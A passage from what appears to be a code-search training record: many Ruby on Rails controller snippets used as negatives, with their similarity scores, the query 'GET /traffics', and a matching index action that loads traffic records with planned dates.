do |format|\n format.html # new.html.erb\n format.xml { render :xml => @banda }\n end\n end", "def create\n\t\t@band = Band.new(band_params)\n\n\t\tif @band.save\n\t\t\tflash[:info] = [\"New band saved\"]\n\t\t\tredirect_to @band\n\t\telse\n\t\t\tflash.now[:errors] = [\"Oops... Something wrong. Try again.\"]\n\t\t\trender :new\n\t\tend\n\tend", "def create\n @banda = Banda.new(banda_params)\n\n @banda.pendente = 1 unless current_user.is_admin?\n\n respond_to do |format|\n if @banda.save\n format.html { redirect_to @banda, notice: 'Banda was successfully created.' }\n format.json { render :show, status: :created, location: @banda }\n else\n format.html { render :new }\n format.json { render json: @banda.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @band = Band.new\n\trespond_with @band\n end", "def bay_params\n params.require(:bay).permit(:nomenclatura, :battery_bank_id, :lightning_arrester_id, :reactor_id, :substation_id, :switch_id, :transformer_id, blade_ids: [])\n end", "def band_params\n params.require(:band).permit(:name, :genre, :explicit, :video_url)\n end", "def create\n @band = Band.find(params[:band_id])\n @album = Band.find(params[:band_id]).albums.build(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to new_band_album_song_path(@album.band.id, @album.id), notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_band\n @band = Band.find(params[:id])\n end", "def set_band\n @band = Band.find(params[:id])\n end", "def set_band\n @band = Band.find(params[:id])\n end", "def create(bin_params)\n @rest.post('save', bin_params)\n end", "def create\n @band = Band.new(band_params)\n\n respond_to do |format|\n if @band.save\n #Add current user to band as leader\n Agrupation.create!(band_id: @band.id, member_id: @current_musician.id, is_leader: true)\n\n format.html { redirect_to @band, notice: 'Band was successfully created.' }\n format.json { render action: 'show', status: :created, location: @band }\n else\n format.html { render action: 'new' }\n format.json { render json: @band.errors, status: :unprocessable_entity }\n end\n end\n end", "def bandname_params\n params.require(:bandname).permit(:bandname, :albumname)\n end", "def set_band\n @band = Tour.find(params[:id])\n end", "def set_band_information\n @band_information = BandInformation.find(params[:id])\n end", "def create\n @bones_segment = BonesSegment.new(bones_segment_params)\n\n respond_to do |format|\n if @bones_segment.save\n format.html { redirect_to @bones_segment, notice: 'Bones segment was successfully created.' }\n format.json { render :show, status: :created, location: @bones_segment }\n else\n format.html { render :new }\n format.json { render json: @bones_segment.errors, status: :unprocessable_entity }\n end\n end\n end", "def band_params\r\n params.require(:band).permit(:name, :genre, :description, :email,\r\n :url, :image, :songdemo1, :songdemo1_title,\r\n :songdemo2, :songdemo2_title,\r\n :zipcode, :radius)\r\n end", "def show\n @band = Band.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @band }\n end\n end", "def create\n @brite_rt_waxman = BriteRtWaxman.new(brite_rt_waxman_params)\n\n respond_to do |format|\n if @brite_rt_waxman.save\n format.html { redirect_to @brite_rt_waxman, notice: 'Brite rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @band_user = BandUser.new(band_user_params)\n\n respond_to do |format|\n if @band_user.save\n format.html { redirect_to @band_user, notice: 'Band user was successfully created.' }\n format.json { render :show, status: :created, location: @band_user }\n else\n format.html { render :new }\n format.json { render json: @band_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \n new_member = params[:band][:band_memberships]\n new_member = Array.new if new_member.nil?\n \n these_band_memberships = Array.new\n \n if new_member.length > 0\n logger.info 'Adding new member'\n membership = BandMembership.new\n membership.user = User.find_by_id(new_member)\n if params[:from_date]\n membership.start_date = Date.civil(params[:from_date].to_i, 1, 1);\n end\n if params[:to_date]\n membership.end_date = Date.civil(params[:to_date].to_i, 1, 1);\n end\n \n# params[:band].delete(params[:band][:band_memberships])\n these_band_memberships << membership\n params[:band][:band_memberships] = these_band_memberships\n else\n logger.info \"removing band_memberships from the band\"\n params[:band].delete(:band_memberships)\n end\n \n if (params[:band][:image])\n params[:band][:image] = User.save(params[:band])\n logger.info \"set params[:band][:image] to #{params[:band][:image]}\"\n else\n logger.info \"removing image from parameters\"\n params[:band].delete(params[:band][:image])\n end\n \n logger.info \"creating band\"\n @band = Band.new(params[:band])\n logger.info \"created band\"\n @band.users << current_user\n logger.info \"added user\"\n \n respond_to do |format|\n \n if @band.save\n format.html { redirect_to(@band, :notice => 'Band was successfully created.') }\n format.xml { render :xml => @band, :status => :created, :location => @band }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @band.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @basin = Basin.new(params[:basin])\n\n respond_to do |format|\n if @basin.save\n format.html { redirect_to @basin, notice: 'Basin was successfully created.' }\n format.json { render json: @basin, status: :created, location: @basin }\n else\n format.html { render action: \"new\" }\n format.json { render json: @basin.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @bandas = Banda.all\n end", "def band_album_tour_params\n params.require(:band_album).permit(:album_id, :band_id)\n end", "def create\n @brite_td_asbarabasi_rt_waxman = BriteTdAsbarabasiRtWaxman.new(brite_td_asbarabasi_rt_waxman_params)\n\n respond_to do |format|\n if @brite_td_asbarabasi_rt_waxman.save\n format.html { redirect_to @brite_td_asbarabasi_rt_waxman, notice: 'Brite td asbarabasi rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_td_asbarabasi_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_td_asbarabasi_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def band_information_params\n params.require(:band_information).permit(:steps, :lat, :long, :user_id, :band_id,:calories)\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def create\n\n @event = Event.new(params[:event])\n \n band = Band.find(:first, :conditions => [ \"name = :u\", { :u => @event.artist_name}])\n if band.nil?\n new_band = Band.new\n new_band.name = @event.artist_name\n new_band.save\n band = new_band\n end\n \n @stage = Stage.find(params[:stage_id], :include => :festival)\n\n\n\n @event.band_id = band.id\n @event.stage_id = @stage.id\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to(stage_path(@stage), :notice => 'Event was successfully created.') }\n format.xml { render :xml => @event, :status => :created, :location => @event}\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @banda = Banda.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @banda }\n end\n end", "def update\n @band = Band.find(params[:id])\n\t@band.update_attributes(params[:band])\n respond_with @band\n end", "def set_band_albums\n @band_album = BandAlbum.find(params[:id])\n end", "def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end", "def post(attrs = nil)\n attrs ||= attributes\n execute_request do\n faraday_connection.post { |req| req.body = adapter.serialize(attrs) }\n end\n end", "def create\n @brite_td_aswaxman_rt_waxman = BriteTdAswaxmanRtWaxman.new(brite_td_aswaxman_rt_waxman_params)\n\n respond_to do |format|\n if @brite_td_aswaxman_rt_waxman.save\n format.html { redirect_to @brite_td_aswaxman_rt_waxman, notice: 'Brite td aswaxman rt waxman was successfully created.' }\n format.json { render :show, status: :created, location: @brite_td_aswaxman_rt_waxman }\n else\n format.html { render :new }\n format.json { render json: @brite_td_aswaxman_rt_waxman.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @timeband = Timeband.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timeband }\n end\n end", "def create\n @bike_rack = BikeRack.new(bike_rack_params)\n\n respond_to do |format|\n if @bike_rack.save\n flash[:success] = 'Bike rack was successfully created.'\n format.html { redirect_to @bike_rack }\n format.json { render :show, status: :created, location: @bike_rack }\n else\n flash[:danger] = 'There was a problem with creating Bike rack.'\n format.html { render :new }\n format.json { render json: @bike_rack.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_bandit\n @bandit = Bandit.find(params[:id])\n end", "def index\n @band_memberships = BandMembership.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @band_memberships }\n end\n end", "def create\n @bannar = @current_site.bannars.build(bannar_params)\n\n respond_to do |format|\n if @bannar.save\n format.html { redirect_to bannars_path, notice: 'Bannar was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end", "def create_branding(params)\n request :post, \"/v3/brandings.json\", params\n end", "def binocular_params\n params.require(:binocular).permit(:name, :brand, :description, :magnifications, :notes)\n end", "def create\n @brend = Brend.new(params[:brend])\n\n respond_to do |format|\n if @brend.save\n format.html { redirect_to @brend, notice: 'Brend was successfully created.' }\n format.json { render json: @brend, status: :created, location: @brend }\n else\n format.html { render action: \"new\" }\n format.json { render json: @brend.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @taxband = Taxband.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @taxband }\n end\n end", "def create_band_with_name_and_instrument(name, instrument)\n fill_in \"name\", with: name\n select instrument, from: 'instrument'\n click_button \"Create band\"\n end", "def set_bandname\n @bandname = Bandname.find(params[:id])\n end", "def create\n\t@bedmaster = Bedmaster.new(params[:bedmaster])\n\n respond_to do |format|\n if @bedmaster.save\n format.html { redirect_to(@bedmaster, :notice => 'Bedmaster was successfully created.') }\n format.xml { render :xml => @bedmaster, :status => :created, :location => @bedmaster }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bedmaster.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @bands = Band.all\n end", "def create\n @brave_burst = BraveBurst.new(brave_burst_params)\n\n respond_to do |format|\n if @brave_burst.save\n format.html { redirect_to @brave_burst, notice: 'Brave burst was successfully created.' }\n format.json { render action: 'show', status: :created, location: @brave_burst }\n else\n format.html { render action: 'new' }\n format.json { render json: @brave_burst.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @band_membership = BandMembership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @band_membership }\n end\n end", "def create\n @abonne = Abonne.new(params[:abonne])\n\n respond_to do |format|\n if @abonne.save\n flash[:notice] = 'Abonne was successfully created.'\n format.html { redirect_to(@abonne) }\n format.xml { render :xml => @abonne, :status => :created, :location => @abonne }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @abonne.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @broad = Broad.new(params[:broad])\n\n respond_to do |format|\n if @broad.save\n format.html { redirect_to @broad, notice: 'Broad was successfully created.' }\n format.json { render json: @broad, status: :created, location: @broad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @broad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bairro_micro = BairroMicro.new(params[:bairro_micro])\n\n respond_to do |format|\n if @bairro_micro.save\n flash[:notice] = 'BairroMicro was successfully created.'\n format.html { redirect_to(@bairro_micro) }\n format.xml { render :xml => @bairro_micro, :status => :created, :location => @bairro_micro }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bairro_micro.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_bandtogether\n @bandtogether = Bandtogether.find(params[:id])\n end", "def create\n @bdig = Bdig.new(params[:bdig])\n\n respond_to do |format|\n if @bdig.save\n flash[:notice] = 'Bdig was successfully created.'\n format.html { redirect_to(@bdig) }\n format.xml { render :xml => @bdig, :status => :created, :location => @bdig }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @bdig.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_business(business, location)\n xml = Builder::XmlMarkup.new\n query = xml.tag!(\"BPMSPost\", 'Edition' => \"1.1\") {\n xml.tag!(\"Record\") {\n xml.tag!(\"Phone\", location.phone)\n xml.tag!(\"BusinessName\", location.location_name)\n xml.tag!(\"Address\", location.address)\n xml.tag!(\"City\", location.city)\n xml.tag!(\"State\", location.state)\n xml.tag!(\"Zip\", location.zip)\n xml.tag!(\"URL\", location.website_url)\n xml.tag!(\"TagLine\", location.special_offer)\n #xml.tag!(\"LogoImage\", location.logo)\n xml.tag!(\"Categories\") {\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Primary\")\n xml.tag!(\"Name\", business.industry_primary)\n }\n if business.industry_alt_1.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt1\")\n xml.tag!(\"Name\", business.industry_alt_1)\n }\n end\n if business.industry_alt_2.present?\n xml.tag!(\"Category\") {\n xml.tag!(\"Type\", \"Alt2\")\n xml.tag!(\"Name\", business.industry_alt_2)\n }\n end\n }\n }\n }\n body = build_request(3700, 1510, query)\n response = send_to_localeze(body)\n xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n xml_doc['Error'] == '0' # success (returns true/false)\n end", "def post(body)\n request = Net::HTTP::Post.new(bind_uri)\n request.body = body\n request.content_length = request.body.size\n request[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\n Jabber.debug(\"Sending POST request - #{body.strip}\")\n\n response = Net::HTTP.new(domain, port).start { |http| http.request(request) }\n\n Jabber.debug(\"Receiving POST response - #{response.code}: #{response.body.inspect}\")\n\n unless response.is_a?(Net::HTTPSuccess)\n raise Net::HTTPBadResponse, \"Net::HTTPSuccess expected, but #{response.class} was received\"\n end\n\n response\n end", "def create\n @net_rack = NetRack.new(net_rack_params)\n\n respond_to do |format|\n if @net_rack.save\n format.html { redirect_to @net_rack, notice: 'Net rack was successfully created.' }\n format.json { render :show, status: :created, location: @net_rack }\n else\n format.html { render :new }\n format.json { render json: @net_rack.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @server_rack = ServerRack.new(params[:server_rack])\n\n respond_to do |format|\n if @server_rack.save\n format.html { redirect_to(@server_rack, :notice => 'Server rack was successfully created.') }\n format.xml { render :xml => @server_rack, :status => :created, :location => @server_rack }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @server_rack.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @stanza = Stanza.new(params[:stanza])\n\n respond_to do |format|\n if @stanza.save\n format.html { redirect_to @stanza, notice: 'Stanza was successfully created.' }\n format.json { render json: @stanza, status: :created, location: @stanza }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stanza.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_band\n @band = Band.find(params[:band_id])\n end", "def create\n @ba_spec = BaSpec.new(params[:ba_spec])\n\n respond_to do |format|\n if @ba_spec.save\n format.html { redirect_to ba_specs_path }\n format.json { render json: @ba_spec, status: :created, location: @ba_spec }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ba_spec.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_query( xml )\n url = URI.parse( self.url )\n response = self.http.post_form( url, { \"query\" => xml } )\n return response.body\n end", "def post(body)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n\n request = Net::HTTP::Post.new(uri)\n request['Content-Type'] = 'text/xml'\n request['Accept-Language'] = locale if locale\n request.body = body\n\n response = http.request(request)\n\n Response.new(response, uri)\n end", "def create\n @ba = Ba.new(ba_params)\n respond_to do |format|\n if @ba.save\n format.html { redirect_to :back, notice: 'ベストアンサーを選択しました' }\n format.json { render :show, status: :created, location: @ba }\n else\n format.html { render :new }\n format.json { render json: @ba.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @band = Band.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @band }\n end\n end", "def post_config(url_prefix, xml)\n post_data(url_prefix, xml, 'application/xml;charset=UTF-8')\n end", "def index\n @bandnames = Bandname.all\n end", "def bandtogether_params\n params.require(:bandtogether).permit(:title, :start_time, :end_time, :description, :concert_id, :bandtogether_avatar)\n end", "def find_band\n @band = Band.find(params[:id])\n end", "def postSignal( entity_id, country, gen_id, signal_type, data_type, inactive_reason, inactive_description, feedback)\n params = Hash.new\n params['entity_id'] = entity_id\n params['country'] = country\n params['gen_id'] = gen_id\n params['signal_type'] = signal_type\n params['data_type'] = data_type\n params['inactive_reason'] = inactive_reason\n params['inactive_description'] = inactive_description\n params['feedback'] = feedback\n return doCurl(\"post\",\"/signal\",params)\n end", "def create\n @wbr_datum = WbrDatum.new(params[:wbr_datum])\n\n respond_to do |format|\n if @wbr_datum.save\n format.html { redirect_to wbr_data_path, notice: 'Wbr datum was successfully created.' }\n format.json { render json: @wbr_datum, status: :created, location: @wbr_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @wbr_datum.errors, status: :unprocessable_entity }\n end\n end\n end", "def brite_td_asbarabasi_rt_waxman_params\n params.require(:brite_td_asbarabasi_rt_waxman).permit(:name, :edgeconn, :k, :bwinter, :bwintermin, :bwintermax, :bwintra, :bwintramin, :bwintramax, :name, :description, :status, :generator_id, :type_id, :user_id)\n end", "def destroy\n @band = Band.find(params[:id])\n @band.destroy\n\n respond_to do |format|\n format.html { redirect_to(bands_url) }\n format.xml { head :ok }\n end\n end", "def create\n @bead_pack = BeadPack.new(bead_pack_params)\n respond_to do |format|\n if @bead_pack.save\n format.html { redirect_to @bead_pack, notice: 'Bead pack was successfully created.' }\n format.json { render :show, status: :created, location: @bead_pack }\n else\n format.html { render :new }\n format.json { render json: @bead_pack.errors, status: :unprocessable_entity }\n end\n end\n end", "def brave_burst_params\n params.require(:brave_burst).permit(:id, :name, :num_hits, :element)\n end", "def create\n @bay =Bay.new(bay_params)\n\n respond_to do |format|\n if @bay.save\n format.html { redirect_to ['control',@bay], notice: 'La bahía fue creada exitosamente.' }\n format.json { render :show, status: :created, location: @bay }\n else\n format.html { render :new }\n format.json { render json: @bay.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n megam_rest.post_node(to_hash)\n end", "def update\n respond_to do |format|\n if @banda.update(banda_params)\n format.html { redirect_to @banda, notice: 'Banda was successfully updated.' }\n format.json { render :show, status: :ok, location: @banda }\n else\n format.html { render :edit }\n format.json { render json: @banda.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @astronomium = Astronomium.new(astronomium_params)\n\n respond_to do |format|\n if @astronomium.save\n format.html { redirect_to @astronomium, notice: 'Astronomium was successfully created.' }\n format.json { render :show, status: :created, location: @astronomium }\n else\n format.html { render :new }\n format.json { render json: @astronomium.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @event = Event.new(event_params)\n \n if Venue.find_by(name: params[:venue]) == nil\n @venue = Venue.create(name: params[:venue])\n else\n @venue = Venue.find_by(name: params[:venue])\n end\n \n @bands = []\n \n respond_to do |format|\n if @event.save\n event_date_time = event_params[:start] + ' CST'\n @event.update(start: DateTime.strptime(event_date_time, '%m/%d/%Y %l:%M %p %Z'))\n @venue.events << @event\n \n if params[\"supporting_acts\"] != nil\n supporting_acts = params[\"supporting_acts\"]\n supporting_acts.each do |index, name|\n name = name.strip\n unless name == \"\"\n if Band.find_by(name: name) == nil\n @event.bands << Band.create(name: name)\n supporting_acts = @event.supporting_acts.push(Band.find_by(name: name).id)\n @event.update(supporting_acts: supporting_acts)\n else\n @band = Band.find_by(name: name)\n band_in_lineup = false\n @event.bands.each do |band|\n if band.id == @band.id\n band_in_lineup = true\n break\n end\n end\n if band_in_lineup == false\n @event.bands << Band.find_by(name: name)\n supporting_acts = @event.supporting_acts.push(Band.find_by(name: name).id)\n @event.update(supporting_acts: supporting_acts)\n else\n supporting_acts = @event.supporting_acts.push(Band.find_by(name: name).id)\n @event.update(supporting_acts: supporting_acts)\n end\n end\n end\n end\n end\n \n if params[\"headliners\"] != nil\n headliners = params[\"headliners\"]\n headliners.each do |index, name|\n name = name.strip\n unless name == \"\"\n if Band.find_by(name: name) == nil\n @event.bands << Band.create(name: name)\n headliners = @event.headliners.push(Band.find_by(name: name).id)\n @event.update(headliners: headliners)\n else\n @band = Band.find_by(name: name)\n band_in_lineup = false\n @event.bands.each do |band|\n if band.id == @band.id\n band_in_lineup = true\n break\n end\n end\n if band_in_lineup == false\n @event.bands << Band.find_by(name: name)\n headliners = @event.headliners.push(Band.find_by(name: name).id)\n @event.update(headliners: headliners)\n else\n headliners = @event.headliners.push(Band.find_by(name: name).id)\n @event.update(headliners: headliners)\n end\n end\n end\n end\n end\n \n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @band = Band.new(params[:band])\n\n respond_to do |format|\n if @band.save\n @client = @band.client\n @nav = AdditionalInformationNav.new(@client)\n @step = @nav.nav\n\n if !params[:back_button]\n case @step\n when 'corporation'\n format.html { redirect_to new_corporation_path(:client_id=>@client, :from=>'band') }\n when 'charity'\n format.html { redirect_to new_charity_path(:client_id=>@client, :from=>'band') }\n else\n flash[:notice] = 'Band information saved'\n format.html { redirect_to @client }\n end\n format.json { render json: @band, status: :created, location: @band }\n else\n if session[:from] == 'corporation'\n @corporation = @band.client.corporation\n format.html { redirect_to edit_corporation_path(@corporation.id)}\n end\n if session[:from] == 'client'\n format.html { redirect_to @client }\n end\n end\n \n else\n format.html { render action: \"new\" }\n format.json { render json: @band.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_tenant_circle(args = {}) \n post(\"/tenantcircles.json/\", args)\nend", "def create\n @nhaxuatban = Nhaxuatban.new(nhaxuatban_params)\n\n respond_to do |format|\n if @nhaxuatban.save\n format.html { redirect_to @nhaxuatban, notice: \"Nhaxuatban was successfully created.\" }\n format.json { render :show, status: :created, location: @nhaxuatban }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @nhaxuatban.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.6416471", "0.63599795", "0.5998923", "0.59687006", "0.5965512", "0.5937532", "0.5867744", "0.58591586", "0.5831494", "0.5789859", "0.5768295", "0.576734", "0.5709725", "0.5692593", "0.569035", "0.5682324", "0.56771827", "0.56178147", "0.5567586", "0.55325437", "0.55000675", "0.54988384", "0.5487731", "0.5468312", "0.5441945", "0.5441945", "0.5441945", "0.542417", "0.5417226", "0.54126567", "0.5380739", "0.5335232", "0.5313059", "0.53084207", "0.5305382", "0.53001237", "0.52796036", "0.5277406", "0.52706516", "0.5262373", "0.52545005", "0.5231707", "0.52120316", "0.52102244", "0.51874995", "0.517286", "0.51427406", "0.51359564", "0.5133058", "0.51293904", "0.5126095", "0.5114091", "0.5109293", "0.50961995", "0.5086789", "0.5065162", "0.5064416", "0.506386", "0.5063321", "0.5051659", "0.5048658", "0.5042594", "0.5042203", "0.50368", "0.5030723", "0.5024964", "0.5007578", "0.49908352", "0.49900007", "0.49777877", "0.49701107", "0.4969121", "0.4965607", "0.4965335", "0.4957708", "0.4953753", "0.49515817", "0.49476078", "0.49457702", "0.49434274", "0.49395713", "0.49356082", "0.49352172", "0.4930471", "0.4929778", "0.49290377", "0.49171767", "0.4911945", "0.4908494", "0.49083993", "0.49052858", "0.49011058", "0.48948857", "0.48925015", "0.4887196", "0.48768583", "0.48690462", "0.48611623", "0.48598564", "0.48527226" ]
0.530421
35
GET /traffics GET /traffics.json
def index @traffics = Traffic.order(:state, monday_start: :desc) @traffics.each { |traffic| if traffic.state == "published" begin traffic.planed_dates = Calendar.planed_dates(30, :traffic, traffic.id) rescue Exception => e traffic.planed_dates = [] end else traffic.planed_dates = [] end } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @traffics = Traffic.all\n end", "def index\n @traffics = Traffic.find(:all, :order => \"created_at\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @traffics }\n end\n end", "def trades\n Client.current.get(\"#{resource_url}/trades\")\n end", "def index\n @tracs = Trac.all\n end", "def index\n trail_api_request\n @trails = Trail.order(:city).order(:name)\n end", "def index\n @tracings = Tracing.all\n end", "def tribes\n Tribe.all\n end", "def historical_trades(options)\n request :verified, :get, :historicalTrades, options\n end", "def index\n @trades = Trade\n .only(:created_at, :is_fair, :ash_pokemons, :brock_pokemons)\n respond_to do |format|\n format.json { render json: @trades }\n end\n end", "def index\n @vehicle_realtimes = VehicleRealtime.all\n \n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtimes.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end", "def trades(options)\n request :public, :get, :trades, options\n end", "def index\n @trails = Trail.all\n end", "def index\n getProfile\n @consents = TherapistConsent.where('therapist_id = ? ', @therapist.id)\n respond_to do |format|\n format.html { render action: 'index' }\n format.json { render :status => 200, :json => { action: 'index', consents: @consents }}\n end\n end", "def show\n @travel_chart = Travel::Chart.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @travel_chart }\n end\n end", "def index\n trips = Trip.all\n render json: trips\n end", "def index\n @trainees = Trainee.all\n\n respond_to do |format|\n format.html\n format.json { render :json => @trainees.to_json(:except => [:created_at, :updated_at], :include => {:skills => { :except => [:created_at, :updated_at]} }) }\n end\n\n end", "def index\n @travel_requests = TravelRequest.where user_id: current_user.id\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @travel_requests }\n end\n end", "def show\n @training_calendar = TrainingCalendar.find(params[:id])\n @trainees = Trainee.find_all_by_training_calendar_id(@training_calendar.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @training_calendar }\n end\n end", "def index\n @technics = Technic.all\n end", "def trips\n flight = Flight.where(\"id = ?\", params[:id]).take\n if flight.nil?\n render :json => {errors: \"404\"}, :status => 404\n else\n respond_with( flight.trips )\n end\n end", "def index\n schedules = Schedule.where(trip_id: params[:trip_id])\n respond_with schedules\n end", "def index\n @trades = Trade.all\n render json: @trades\n end", "def get_travellers\n if current_user != nil\n @trip = Trip.find(params[:id])\n render json: @trip.trip_json\n else\n render json: session[:trip].trip_json\n end\n\n end", "def index\n trips = Trip.all\n respond_with trips\n end", "def trips\n @trip_requests = current_user.trip_requests.trips.paginate(page:params[:page], per_page:20)\n json_response(@trip_requests)\n end", "def index *_\n @trades = owned_trades_view\n\n render json: @trades\n end", "def index\n @flight_turbulences = FlightTurbulence.all\n end", "def toxics\n request = Net::HTTP::Get.new(\"/proxies/#{name}/toxics\")\n response = http_request(request)\n assert_response(response)\n\n JSON.parse(response.body).map do |attrs|\n Toxic.new(\n type: attrs[\"type\"],\n name: attrs[\"name\"],\n proxy: self,\n stream: attrs[\"stream\"],\n toxicity: attrs[\"toxicity\"],\n attributes: attrs[\"attributes\"],\n )\n end\n end", "def show\n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtime.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end", "def index\n @trades = Trade.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trades }\n end\n end", "def index\n @tccapis = Tccapi.all\n end", "def index\n @tacos = Taco.all\n\n respond_to do |format|\n format.html { render :index }\n format.json { render @tacos }\n end\n end", "def find_trades_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TradesApi.find_trades ...'\n end\n # resource path\n local_var_path = '/trades'\n\n # query parameters\n query_params = {}\n query_params[:'tags'] = @api_client.build_collection_param(opts[:'tags'], :multi) if !opts[:'tags'].nil?\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Trade>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TradesApi#find_trades\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def timeline\n Chirp.timeline(current_user)\n render json: @chirp\n end", "def index\n @transcriptions = Transcription.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transcriptions }\n end\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def show\n @trail = Trail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trail }\n end\n end", "def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend", "def show\n @clinic_timing = ClinicTiming.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinic_timing }\n end\n end", "def get_carriers\n @transporter = Transporter.find(params[:id])\n\n render json: @transporter.carriers\n end", "def trips\n get '/gtfs/trips'\n end", "def index\n @ts = T.all\n\n respond_to do 